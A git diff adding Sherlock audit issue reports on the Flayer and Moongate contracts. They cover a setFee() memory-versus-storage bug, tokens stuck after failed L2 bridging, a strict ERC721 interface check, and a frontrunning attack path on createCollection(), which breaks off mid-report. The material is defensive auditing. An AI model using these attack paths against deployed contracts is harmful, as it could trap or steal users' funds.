+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L81-L82
+
+## Tool used
+Manual Review
+
+## Recommendation
+Implement `receive()` function to receive native royalty amount in ETH.
\ No newline at end of file
diff --git a/014.md b/014.md
new file mode 100644
index 0000000..e7a528d
--- /dev/null
+++ b/014.md
@@ -0,0 +1,34 @@
+Flaky Sable Hamster
+
+Medium
+
+# Popular collections like `CryptoPunks/EtherRocks/Rare Pepes` will not be created due to strict `supportsInterface()` check
+
+## Summary
+Popular collections like `CryptoPunks/EtherRocks/Rare Pepes` will not be created due to strict `supportsInterface()` check
+
+## Vulnerability Detail
+Users can create collections using `Locker.createCollection()`, which takes the address of the collection & verifies that whether it supports `ERC721` interfaceId or not.
+```solidity
+function createCollection(address _collection, string calldata _name, string calldata _symbol, uint _denomination) public whenNotPaused returns (address) {
+...
+ // Validate if a contract does not appear to be a valid ERC721
+@> if (!IERC721(_collection).supportsInterface(0x80ac58cd)) revert InvalidERC721();
+...
+ }
+```
+The problem is, popular collections like CryptoPunks/ EtherRocks/ Rare Pepes are either `pre-ERC721` or build with `custom/hybrid` standards.
+
+As result, when they are used to create collections then it will `revert` because those collections will not return `0x80ac58cd` as interfaceId
+
+## Impact
+createCollection() will revert for popular collections like CryptoPunks/ EtherRocks/ Rare Pepes
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L307C53-L307C63
+
+## Tool used
+Manual Review
+
+## Recommendation
+Either remove this check or use more relax checks that includes those popular NFT collections
\ No newline at end of file
diff --git a/014/188.md b/014/188.md
new file mode 100644
index 0000000..390f1fc
--- /dev/null
+++ b/014/188.md
@@ -0,0 +1,54 @@
+Obedient Flaxen Peacock
+
+Medium
+
+# Admin can not set the pool fee since it is only set in memory
+
+### Summary
+
+The pool fee is only set in memory and not in storage so specific pool fees will not apply.
+
+### Root Cause
+
+The pool fee is only stored in memory.
+
+ref: [UniswapImplementation:setFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L788-L789)
+
+```solidity
+ // @audit poolParams is only stored in memory so the new fee is not set in permanent storage
+ PoolParams memory poolParams = _poolParams[_poolId];
+ poolParams.poolFee = _fee;
+```
+
+### Internal pre-conditions
+
+1. Admin calls [`setFee()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L783-L793) with any fee value.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+Specific pool fees will not apply. Only the default fee will apply to swaps.
+
+ref: [UniswapImplementation::getFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L703-L706)
+```solidity
+ // @audit poolFee will always be 0
+ uint24 poolFee = _poolParams[_poolId].poolFee;
+ if (poolFee != 0) {
+ fee_ = poolFee;
+ }
+```
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use storage instead of memory for `poolParams` in [`setFee()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L783-L793).
\ No newline at end of file
diff --git a/014/204.md b/014/204.md
new file mode 100644
index 0000000..5296732
--- /dev/null
+++ b/014/204.md
@@ -0,0 +1,47 @@
+Shiny Mint Lion
+
+High
+
+# The fee set by the setFee() function will not take effect.
+
+## Summary
+Since the set fee is not saved in storage, any fee set by setFee() will not be preserved, and the poolFee of _poolId will remain unchanged.
+## Vulnerability Detail
+```javascript
+ function setFee(PoolId _poolId, uint24 _fee) public onlyOwner {
+ // Validate the fee amount
+ _fee.validate();
+
+ // Set our pool fee overwrite value
+@>> PoolParams memory poolParams = _poolParams[_poolId];
+ poolParams.poolFee = _fee;
+
+ // Emit our event
+ emit PoolFeeSet(poolParams.collection, _fee);
+ }
+```
+We can see that since poolParams is set as memory, any fee set by setFee() will not be saved, and the poolFee of _poolId remains unchanged. The poolFee of _poolId will never be able to change.
+## Impact
+The poolFee of _poolId will never be able to change. When attempting to adjust the poolFee of _poolId, this functionality cannot be realized, resulting in users being overcharged or undercharged fees.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L783
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+ function setFee(PoolId _poolId, uint24 _fee) public onlyOwner {
+ // Validate the fee amount
+ _fee.validate();
+
+ // Set our pool fee overwrite value
+- PoolParams memory poolParams = _poolParams[_poolId];
++ PoolParams storage poolParams = _poolParams[_poolId];
+ poolParams.poolFee = _fee;
+
+ // Emit our event
+ emit PoolFeeSet(poolParams.collection, _fee);
+ }
+```
\ No newline at end of file
diff --git a/014/211.md b/014/211.md
new file mode 100644
index 0000000..8a1c2d0
--- /dev/null
+++ b/014/211.md
@@ -0,0 +1,61 @@
+Clean Snowy Mustang
+
+Medium
+
+# Pool fee cannot be actually set
+
+## Summary
+Pool fee cannot be actually set.
+
+## Vulnerability Detail
+Initially, when a collection is registered in UniswapImplementation, a PoolKey is crafted and corresponding pool parameters are stored with `poolFee` is default to $0$.
+
+```solidity
+ // Store our pool parameters
+ _poolParams[poolKey.toId()] = PoolParams({
+ collection: _collection,
+@> poolFee: 0,
+ initialized: false,
+ currencyFlipped: currencyFlipped
+ });
+```
+
+Owner can call [setFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L783) to set an overwritting pool fee:
+
+```solidity
+ function setFee(PoolId _poolId, uint24 _fee) public onlyOwner {
+ // Validate the fee amount
+ _fee.validate();
+
+ // Set our pool fee overwrite value
+@> PoolParams memory poolParams = _poolParams[_poolId];
+@> poolParams.poolFee = _fee;
+
+ // Emit our event
+ emit PoolFeeSet(poolParams.collection, _fee);
+ }
+```
+
+Unfortunately, the `memory` is used, means the pool fee value won't be stored in contract storage, hence the pool fee cannot be actually set.
+
+## Impact
+
+Pool fee cannot be actually set.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L788
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Use `storage` instead of `memory`:
+
+[UniswapImplementation.sol#L788](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L788):
+```diff
+- PoolParams memory poolParams = _poolParams[_poolId];
++ PoolParams storage poolParams = _poolParams[_poolId];
+```
\ No newline at end of file
diff --git a/014/376.md b/014/376.md
new file mode 100644
index 0000000..791686c
--- /dev/null
+++ b/014/376.md
@@ -0,0 +1,54 @@
+Fancy Emerald Lark
+
+Medium
+
+# poolFee can never be set
+
+## Summary
+Using memory keyword instead of storage. Wrong code implementation is the issue.
+
+## Vulnerability Detail
+
+`UniswapImplementation.setFee` on line 772 sets the pool fee for a particular pool id. And it is not setting to the storage, but setting it to memory struct on line 771. Hence after the transaction ends, the `poolParams.poolFee` from storage remains the same because it only modifies on memory and not the state.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L788
+
+```solidity
+UniswapImplementation.sol
+
+765: function setFee(PoolId _poolId, uint24 _fee) public onlyOwner {
+767: _fee.validate();
+768:
+771: PoolParams memory poolParams = _poolParams[_poolId];
+772: >> poolParams.poolFee = _fee;
+773:
+776: }
+```
+
+## Impact
+poolFee can never be set, even if owner wants to. The `before swap` hook uses `swapFee_` calculation to call `getFee` which does accounting upon the `poolFee`. And this will have an impact, the owner can't influence this pool fee which he should be able to.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L788
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L788
+
+```diff
+ function setFee(PoolId _poolId, uint24 _fee) public onlyOwner {
+ // Validate the fee amount
+ _fee.validate();
+
+ // Set our pool fee overwrite value
+- PoolParams memory poolParams = _poolParams[_poolId];
++ PoolParams storage poolParams = _poolParams[_poolId];
+ poolParams.poolFee = _fee;
+
+ // Emit our event
+ emit PoolFeeSet(poolParams.collection, _fee);
+ }
+```
\ No newline at end of file
diff --git a/014/427.md b/014/427.md
new file mode 100644
index 0000000..0e1de44
--- /dev/null
+++ b/014/427.md
@@ -0,0 +1,56 @@
+Rough Azure Scallop
+
+Medium
+
+# setFee() Fails to Update Pool Fee Due to `memory` Keyword
+
+### Summary
+
+The incorrect use of the `memory` keyword in the `setFee()` function will cause the pool fee to remain unchanged, as modifications are made to a temporary copy rather than the storage variable.
+
+### Root Cause
+
+In `UniswapImplementation.sol` the `setFee()` function uses the `memory` keyword when accessing the `PoolParams` struct, creating a local copy instead of modifying the storage variable.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L777-L793
+
+### Internal pre-conditions
+
+1. UniswapImplementation contract needs to be deployed with the incorrect `setFee()` function implementation.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. **Owner calls `setFee()` to update the fee for a specific pool**
+2. **The function executes without reverting, appearing to succeed**
+3. **The actual fee in storage remains unchanged**
+4. **Subsequent operations use the old, unmodified fee value**
+
+### Impact
+
+The pool fees cannot be updated as intended. This prevents the contract owner from adjusting fees in response to market conditions or protocol requirements, potentially leading to suboptimal protocol performance or loss of revenue.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Update the `setFee()` function to use the `storage` keyword instead of `memory`:
+
+```solidity
+function setFee(PoolId _poolId, uint24 _fee) public onlyOwner {
+ // Validate the fee amount
+ _fee.validate();
+
+ // Set our pool fee overwrite value
+ PoolParams storage poolParams = _poolParams[_poolId];
+ poolParams.poolFee = _fee;
+
+ // Emit our event
+ emit PoolFeeSet(poolParams.collection, _fee);
+}
+```
\ No newline at end of file
diff --git a/014/568.md b/014/568.md
new file mode 100644
index 0000000..1bc526c
--- /dev/null
+++ b/014/568.md
@@ -0,0 +1,68 @@
+Uneven Burlap Dalmatian
+
+High
+
+# ```setFee``` function is writing on memory leading to protocol not able to apply ```Pool```-specified ```fees``` as intended.
+
+### Summary
+
+The ```UniswapV4Implementation::setFee()``` is supposed to change the swap ```fee``` for a specific ```Pool``` after it's initialization but it is writing to ```memory``` variable, instead of the ```storage``` one, so it is actually not changing anything.
+
+### Root Cause
+
+In ```UniswapV4Implementation::setFee()```, the variable which is changed is ```memory```, instead of ```storage```. Take a look here :
+```solidity
+ function setFee(PoolId _poolId, uint24 _fee) public onlyOwner {
+ // Validate the fee amount
+ _fee.validate();
+
+ // Set our pool fee overwrite value
+@> PoolParams memory poolParams = _poolParams[_poolId];
+ poolParams.poolFee = _fee;
+
+ // Emit our event
+ emit PoolFeeSet(poolParams.collection, _fee);
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L783C1-L793C6)
+As you can understand, the ```poolParams``` is never, actually, changed.
+
+### Internal pre-conditions
+
+1. Admin needs to change the ```fee``` for a specific pool, as expected, and apply a non zero ```fee``` for the swaps on this ```Pool```, other than default.
+
+### External pre-conditions
+
+1. ```Pool``` to be initialized by someone depositing his tokens and initializing a ```collection```.
+
+### Attack Path
+
+1. Pool is initialized with 0 fee.
+2. Owner calls ```setFee``` to specify a ```fee``` for this Pool.
+3. ```fee``` for this Pool is not changed, remaining ```0```.
+
+### Impact
+
+The protocol is not able to set a fee for a specific pool since in the initialization of the Pool the fee is set as 0, expected to be change from the ```setFee``` function. As a result, the owner can **not** apply specified fees for different pools breaking a core functionality and source of profit for the protocol. The impact of this vulnerability is **loss of funds** for the LPs who will not be able to take advantage of different fees for different Pools with, maybe, higher volatility.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+To mitigate this issue and, actually, allow the owner to change the fee for a pool, make this change :
+```diff
+ function setFee(PoolId _poolId, uint24 _fee) public onlyOwner {
+ // Validate the fee amount
+ _fee.validate();
+
+ // Set our pool fee overwrite value
+- PoolParams memory poolParams = _poolParams[_poolId];
++ PoolParams storage poolParams = _poolParams[_poolId];
+ poolParams.poolFee = _fee;
+
+ // Emit our event
+ emit PoolFeeSet(poolParams.collection, _fee);
+ }
+```
\ No newline at end of file
diff --git a/014/589.md b/014/589.md
new file mode 100644
index 0000000..125e9be
--- /dev/null
+++ b/014/589.md
@@ -0,0 +1,28 @@
+Polite Macaroon Parakeet
+
+Medium
+
+# UniswapImplementation::setFee() will not work.
+
+## Summary
+UniswapImplementation::setFee() will not work because new fee is stored in a temporary variable
+## Vulnerability Detail
+In setFee(), new fee is set on a temp variable (memory) which is a copy from the storage, not the one in the storage itself:
+```solidity
+ >>> PoolParams memory poolParams = _poolParams[_poolId];
+ poolParams.poolFee = _fee;
+```
+When the transaction ends, this temp `poolParams` will be erased. As a result, no new fee will be set.
+## Impact
+Owners can't modify fee. It could be bad when owners think current fee is too low and want to increase it.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L783-L793
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider storing the new fee on the storage memory instead:
+```solidity
+ _poolParams[_poolId].poolFee = _fee
+```
\ No newline at end of file
diff --git a/015/133.md b/015/133.md
new file mode 100644
index 0000000..d5664b0
--- /dev/null
+++ b/015/133.md
@@ -0,0 +1,48 @@
+Perfect Hotpink Tardigrade
+
+Medium
+
+# Moongate: Sent `ETH` can not be recovered from `InfernalRiftAbove`
+
+### Summary
+
+Check the following methods responsible for bridging ERC721 and ERC1155 tokens from L1 to L2:
+1. [crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83)
+2. [crossTheThreshold1155()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137)
+
+Both of the above methods have the `payable` modifier.
+
+The issue is that if `ETH` is transferred on calling those functions it will be stuck in [IOptimismPortal](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/interfaces/IOptimismPortal.sol) since recipient on L2 doesn't [get](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L125) any `ETH`.
+
+### Root Cause
+
+Existence of the `payable` modifier for the following methods:
+1. [crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83)
+2. [crossTheThreshold1155()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137)
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User calls [crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83) and transfers some `ETH` with the call
+2. `ETH` is stuck in `IOptimismPortal`
+
+### Impact
+
+User sent `ETH` is unrecoverable
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Remove the `payable` modifier for:
+1. [crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83)
+2. [crossTheThreshold1155()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137)
\ No newline at end of file
diff --git a/015/234.md b/015/234.md
new file mode 100644
index 0000000..0955e15
--- /dev/null
+++ b/015/234.md
@@ -0,0 +1,34 @@
+Warm Daisy Tiger
+
+Medium
+
+# Tokens potentially get locked in contract when transferring between chains
+
+## Summary
+Contract `InfernalRiftAbove` allows users to transfer ERC721 and ERC1155 from L1 to L2 by first locking tokens in the L1 contract and `InfernalRiftBelow` mints (or transfers) the equivalent token on L2 to recipient. In the event of failure on L2 execution, the tokens are stuck in L1 `InfernalRiftAbove` contract because there is no recovery mechanism. The issue also happens when sending tokens from L2 to L1
+
+## Vulnerability Detail
+The function [`InfernalRiftAbove#crossTheThreshold1155()` sends ERC1155 tokens from L1 to L2](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137-L194) by using cross domain message from opstack.
+[Tokens are locked the contract](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L160-L169) before calling to `PORTAL#depositTransaction()`.
+Assume that gas limit is set properly in L1 transaction but in the event of L2 transferring [reverts due to revert on `ERC1155#safeTransferFrom` callback](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L312), the tokens on L2 is not successfully transferred. And also the tokens on L1 contract are stuck in the `InfernalRiftAbove` contract because there is no logic to unlock tokens in the L1 contract
+
+In the opposite direction, sending tokens from L2 to L1 uses [function `InfernalRiftBelow#returnFromThreshold()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L166) on L2 contract. And on L1 contract, [`ERC1155#safeTransferFrom` is used](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L234), which can be reverted in the callback. There is also no recovery logic exists in L2 contract `InfernalRiftBelow`
+
+## Impact
+Tokens get stuck in the contract without recovery
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137-L194
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L312
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L166
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L234
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add logic to unlock tokens when execution fails on the other chain
\ No newline at end of file
diff --git a/015/238.md b/015/238.md
new file mode 100644
index 0000000..a43baaa
--- /dev/null
+++ b/015/238.md
@@ -0,0 +1,29 @@
+Warm Daisy Tiger
+
+Medium
+
+# Tokens locked because no replayability when sending messages from L1 to L2
+
+## Summary
+The contract `InfernalRiftAbove` uses `PORTAL#depositTransaction` to send messages to L2. This will cause messages can not be replayed (in the event of fail due to gas limit) because `Portal` has no form of replayability.
+
+## Vulnerability Detail
+The function [`InfernalRiftAbove#crossTheThreshold` sends ERC721 from L1 to L2, using `PORTAL#depositTransaction`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L123-L129) to send messages to L2
+The function [`InfernalRiftAbove#crossTheThreshold1155` sends ERC1155 from L1 to L2, using `PORTAL#depositTransaction`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L185-L190) to send messages to L2
+However from [Optimism official docs](https://docs.optimism.io/stack/smart-contracts#optimismportal), messages sent to `OptimismPortal` have no form of replayability. Currently running contracts from Optimism also have implementations that prove the docs: [Implementation of function `OptimismPortal#depositTransaction`](https://etherscan.io/address/0xe2f826324b2faf99e513d16d266c3f80ae87832b#code#F1#L398) does not have any logic about replay, but the [function `L1CrossDomainMessenger#sendMessage`](https://etherscan.io/address/0xd3494713a5cfad3f5359379dfa074e2ac8c6fd65#code#F4#L176) has.
+So far, if there are any failures on L2 due to gas limit, the messages can not be replayed and the tokens sent to `InfernalRiftAbove` get locked there
+
+## Impact
+Tokens potentially get locked in the L1 contract
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L123-L129
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L185-L191
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Use `L1CrossDomainMessenger#sendMessage` instead of `OptimismPortal#depositTransaction` for sending messages from L1 to L2
\ No newline at end of file
diff --git a/015/403.md b/015/403.md
new file mode 100644
index 0000000..b896f73
--- /dev/null
+++ b/015/403.md
@@ -0,0 +1,65 @@
+Perfect Hotpink Tardigrade
+
+High
+
+# Moongate: Tokens may be stuck in `InfernalRiftAbove` if L2 bridging tx fails
+
+### Summary
+
+The following methods are responsible for bridging ERC721 and ERC1155 tokens from L1 to L2:
+1. [crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83)
+2. [crossTheThreshold1155()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137)
+
+These calls are responsible for invoking a deposit token transaction on L2:
+1. [ERC721](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L122-L129)
+2. [ERC1155](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L185-L191)
+
+The issue is that `PORTAL.depositTransaction()` may fail on L2 at least in 2 cases:
+1. Not enough gas provided for L2 tx [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L188) (for ERC721)
+2. Not enough gas provided for L2 tx [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L188) (for ERC1155)
+
+Bridging ERC1155 may also revert on L2 in the case when empty array is passed [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L176) which in turn will select ERC721 path [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L154) and revert [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L265) because of method signature mismatch (there's no `transferFrom()` method in ERC1155).
+
+When L2 tx fails then bridged tokens are stucked in `InfernalRiftAbove` because:
+1. L2 tx failed hence tokens were not bridged thus tokens don't exist on L2 and there's nothing to "bridge back" from L2
+2. There is no mechanic of recovering stucked tokens in `InfernalRiftAbove`
+
+### Root Cause
+
+Lack of recovering mechanic for ERC721/ERC1155 tokens in case L2 bridging tx fails
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+### ERC721 example
+1. User initiates a bridge of ERC721 token and calls [crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83)
+2. User passes 1 gas [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L126)
+3. L1 tx is mined
+4. L2 tx fails because of low amount of gas provided
+5. ERC721 tokens are stuck in `InfernalRiftAbove` because there's no recover mechanic
+
+### ERC1155 example
+1. User initiates a bridge of ERC1155 token and calls [crossTheThreshold1155()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137)
+2. User passes empty array [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L176)
+3. L1 tx is mined
+4. L2 tx fails because [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L154) ERC721 path is selected hence [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L265) method signature mismatch happens (there's no `transferFrom()` method in ERC1155)
+5. ERC1155 tokens are stuck in `InfernalRiftAbove` because there's no recover mechanic
+
+### Impact
+
+ERC721/ERC1155 tokens are stucked in the `InfernalRiftAbove` contract
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In case L2 bridging tx fails allow users to recover stucked ERC721/ERC1155 tokens.
\ No newline at end of file
diff --git a/015/769.md b/015/769.md
new file mode 100644
index 0000000..726a148
--- /dev/null
+++ b/015/769.md
@@ -0,0 +1,45 @@
+Large Mauve Parrot
+
+High
+
+# Calling `depositTransaction()` on the optimism portal directly doesn't allow to replay transaction in case they fail
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+To bridge assets from L1 to L2 using Moongate a user starts by calling [crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L83)/[crossTheThreshold1155](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L137), which calls [depositTransaction()](https://github.com/ethereum-optimism/optimism/blob/62c7f3b05a70027b30054d4c8974f44000606fb7/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L434) on the optimism portal directly.
+
+Using the optimism portal directly doesn't allow transactions [to be replayed](https://github.com/ethereum-optimism/optimism/blob/62c7f3b05a70027b30054d4c8974f44000606fb7/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L19C1-L21C96):
+> @notice The OptimismPortal is a low-level contract responsible for passing messages between L1 and L2. Messages sent directly to the OptimismPortal have no form of replayability. Users are encouraged to use the L1CrossDomainMessenger for a higher-level interface.
+
+This means that if the L2 transactions fail, NFTs will be stuck on the L1 `InfernalRiftAbove` contract, as there is no way to replay the transaction and no tokens are minted by `InfernalRiftAbove`. The L2 transaction can when:
+- The specified gas limit is not enough, leading to the L2 transaction failing for an out-of-gas error
+- One of the passed `packages` structures has the `amounts` parameter set to an empty array, which will revert [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L153)
+- The royalty amount passed when a collection on L2 has not been deployed yet is bigger than `10000`, which would fail when collections are [initialized](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L57) on the internal `_setDefaultRoyalty()` call.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+ERC721/ERC1155 tokens bridged via Moongate can get stuck in the L1 `InfernalRiftAbove` contract if the L2 transaction to [InfernalRiftBelow::thresholdCross()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L135) fails.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use the `L1CrossDomainMessenger` contract to bridge assets.
\ No newline at end of file
diff --git a/016.md b/016.md
new file mode 100644
index 0000000..bdb0346
--- /dev/null
+++ b/016.md
@@ -0,0 +1,166 @@
+Quick Honey Dove
+
+Medium
+
+# FrontRunning on `createCollection()` function in Locker.sol
+
+### Summary
+
+The `createCollection()` function calls the cloneDeterministic from LibClone, which use the create2 opcode.
+This method has a salt param in it.
+A bad actor, can frontrun every single transaction, from other users, and call create2 using the same salt parameter.
+
+
+### Root Cause
+
+In [`Locker.sol:299`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L299) there is a call to LibClone.cloneDeterministic() function.
+As explained, this function get a salt parameter to clone a certain contract.
+At this point, every function can be frontrunner by a bad actor checking the mempool.
+The bad actor can send a transaction passing the same salt parameter, with a higher than the user.
+The bad actor creates the new collectionTokens, with arbitrary data and the user transaction will goes in revert.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1) User1 want to call the createCollection() function in locker.sol passing the following parameters:
+ address collection =>0x123...
+ string name => "Mock",
+ string symbol => "MOCK",
+ uint256 denominator = 9
+
+2) The hacker is checking the mempool and sees the transaction.
+
+3) Hacker copies the transaction from the mempool changing:
+
+ address collection =>0x123... //SAME
+ string name => "SCAMSCAM", //DIFFERENT
+ string symbol => "SCAM", //DIFFERENT
+ uint256 denominator = 0 //DIFFERENT
+
+ and send it with a higher gas.
+
